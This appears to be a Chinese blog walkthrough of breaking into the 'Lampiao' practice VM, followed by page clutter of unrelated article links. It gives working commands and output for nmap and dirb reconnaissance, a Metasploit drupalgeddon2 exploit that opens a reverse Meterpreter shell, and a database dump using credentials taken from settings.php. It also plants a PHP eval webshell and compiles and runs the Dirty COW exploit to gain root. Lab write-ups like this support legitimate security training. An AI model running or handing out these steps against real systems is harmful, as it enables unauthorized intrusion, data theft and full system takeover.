当前位置: 首页 > news >正文

Lampiao靶机入侵实战

07-Lampiao靶机入侵实战

一、扫描采集信息

1、获取IP地址
nmap -sn 192.168.81.0/24获得IP地址为:192.168.81.128
2、获取端口信息

由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描

nmap -p 1-65535 192.168.81.128获取端口号为:22、80、1898
3、获取主机信息
nmap -O 192.168.81.128得到操作系统版本:OS details: Linux 3.2 - 4.9,只有内核版本号的范围,没有细节
4、漏洞扫描
nmap --script=vuln  192.168.81.128无果1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、使用御剑或dirb扫描路径
┌──(root💀kaliQiang)-[/home/denny]
└─# dirb http://192.168.81.128:1898 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Dec  1 20:33:33 2021
URL_BASE: http://192.168.81.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://192.168.81.128:1898/ ----
==> DIRECTORY: http://192.168.81.128:1898/includes/
==> DIRECTORY: http://192.168.81.128:1898/misc/                                                         ==> DIRECTORY: http://192.168.81.128:1898/modules/                                                     ==> DIRECTORY: http://192.168.81.128:1898/profiles/                                                     + http://192.168.81.128:1898/robots.txt (CODE:200|SIZE:2189)                                           ==> DIRECTORY: http://192.168.81.128:1898/scripts/                                                     + http://192.168.81.128:1898/server-status (CODE:403|SIZE:297)                                         ==> DIRECTORY: http://192.168.81.128:1898/sites/                                                       ==> DIRECTORY: http://192.168.81.128:1898/themes/                                                                       
7、Acunetix扫描

爆出很多Drupal漏洞

image-20240112155528260

8、确定入侵方向

(1)Nessus并没有提供有效的入侵路线

(2)尝试爆破SSH,无果

(3)直接访问1898的网站,并没有文件上传或SQL注入等漏洞

(4)查找Drupal这套CMS系统,发现网络上存在较多Drupal有关的RCE漏洞,

根据上述漏洞描述,选择一个比较匹配Drupal 7.54版本号的漏洞(MSF中存在的)先进行尝试。

二、使得Drupal获取Shell

1 getshell

msf6> search drupal
msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.81.128
rhosts => 192.168.81.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run[*] Started reverse TCP handler on 192.168.112.148:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 192.168.81.128
[*] Meterpreter session 1 opened (192.168.112.148:4444 -> 192.168.81.128:58988) at 2021-12-01 23:37:57 +0800meterpreter >  			# 成功反弹Shell进入Meterpreter,初战告捷
meterpreter > getuid 	# 查看当前用户:www-data,普通用户
meterpreter > shell    	# 进入主机Shell,此处注意,无提示符

2 拖库

方式一

顺带拖库,根据Drupal的文件结构,查找到/var/www/html/sites/default/settings.php文件中存在数据库连接信息

$databases = array ('default' => array ('default' => array ('database' => 'drupal','username' => 'drupaluser','password' => 'Virgulino','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

尝试运行 mysql -udrupaluser -pVirgulino 进入MySQL命令提示符,可以正常登录,但是发现交互式命令不友好,无法及时回显结果。但是当运行完 show databases; 后虽然无回显,但是当输入 exit; 退出时,回显了结果,数据库名为:drupal,则执行以下命令拖库:

mysqldump -udrupaluser -pVirgulino drupal > drupal.sql运行后提示:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
/bin/sh: 62: cannot create drupal.sql: Permission denied说明www-data对当前目录没有写权限,要找一个具备写权限的目录当然是非常容易的事
mysqldump -udrupaluser -pVirgulino drupal > /tmp/drupal.sql然后下载到本地,完成拖库操作
meterpreter > download /tmp/drupal.sql /home/denny
[*] Downloading: /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.00 MiB of 1.78 MiB (56.21%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.78 MiB of 1.78 MiB (100.0%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] download   : /tmp/drupal.sql -> /home/denny/drupal.sql
方式二

也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。

使用 echo "<?phpeval($_POST['a']);?>"  > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>   
把木马文件上传到靶机

image-20240112163345238

使用蚁剑连接靶机

image-20240112163432144

image-20240112163505854

image-20240112163524066

三、使用Dirty-Cow提权

当获取到Shell后,第一步便是使用getuid来查看当前用户的权限,发现是普通用户:www-data,所以还需要尝试提权。类似于Windows的永恒之蓝漏洞一样,Linux中提权是知名的漏洞便是脏牛漏洞,尝试先从这个方向入手。

1、测试目标主机编译环境

uname -a           ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version   ==> 得知Python运行环境为:2.7.6
php -v			   ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v			   ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码

2、获取脏牛漏洞代码

image-20240115163651377

在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp

image-20240115163752380

3、尝试40847提权

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > shell
Process 2500 created.
Channel 1 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

此时,root用户的密码被临时在/etc/passwd进行了修改,密码为:dirtyCowFun

4 登录Lampiao

账号 root
密码 dirtyCowFun

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5 使用交互式环境执行

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============Mode              Size            Type  Last modified                      Name
----              ----            ----  -------------                      ----
100644/rw-r--r--  43860206036964  fil   232096135363-12-15 11:41:32 +0800  40847.cppmeterpreter > shell
Process 1428 created.
Channel 2 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls -l
total 52
-rw-r--r-- 1 www-data www-data 10212 Jan 15 06:57 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 Jan 15 06:57 dcow
python -c  'import  pty; pty.spawn( "/bin/bash")'
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFunReceived su prompt (Password: )root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~# 

http://www.mrgr.cn/news/59092.html

相关文章:

  • Unity 笔记
  • Android 9.0 修改WLAN热点名称为MAC地址后四位
  • 安全知识见闻-网络安全热门证书
  • docker 单节点arm架构服务器安装zookeeper、kafka并测试通信
  • [bug] vllm 0.6.1 RuntimeError: operator torchvision::nms does not exist
  • 万字图文实战:从0到1构建 UniApp + Vue3 + TypeScript 移动端跨平台开源脚手架
  • springboot多模块打包时出现Could not resolve dependencies for project
  • 构建负责任的人工智能:数据伦理与隐私保护
  • 牛客周赛 Round 64(博弈论、思维、构造、LCA、换根DP)
  • 信息咨询试题
  • nfs实验
  • Redis学习文档(常见面试题)
  • 基于SSM+小程序的垃圾分类管理系统(垃圾3)
  • P450催化的联芳基偶联反应-文献精读72
  • 【专题】计算机网络之数据链路层
  • 「二叉树进阶题解:构建、遍历与结构转化全解析」
  • 【Linux系统】进程终止
  • Elasticsearch安装使用
  • Python数值计算(33)——simpson 3/8积分公式
  • 011 操作符详解 中
  • 硬件设计-PCIe时钟抖动测量
  • Oracle故障诊断(一线DBA必备技能)之ADRCI(二)
  • 【华为\荣耀、中兴、华三路由器IPV6设置】
  • 淘知学堂 1.0.0 | 不收费的英语启蒙软件,涵盖小中高
  • 【智能大数据分析 | 实验四】Spark实验:Spark Streaming
  • 开源生活-分布式管理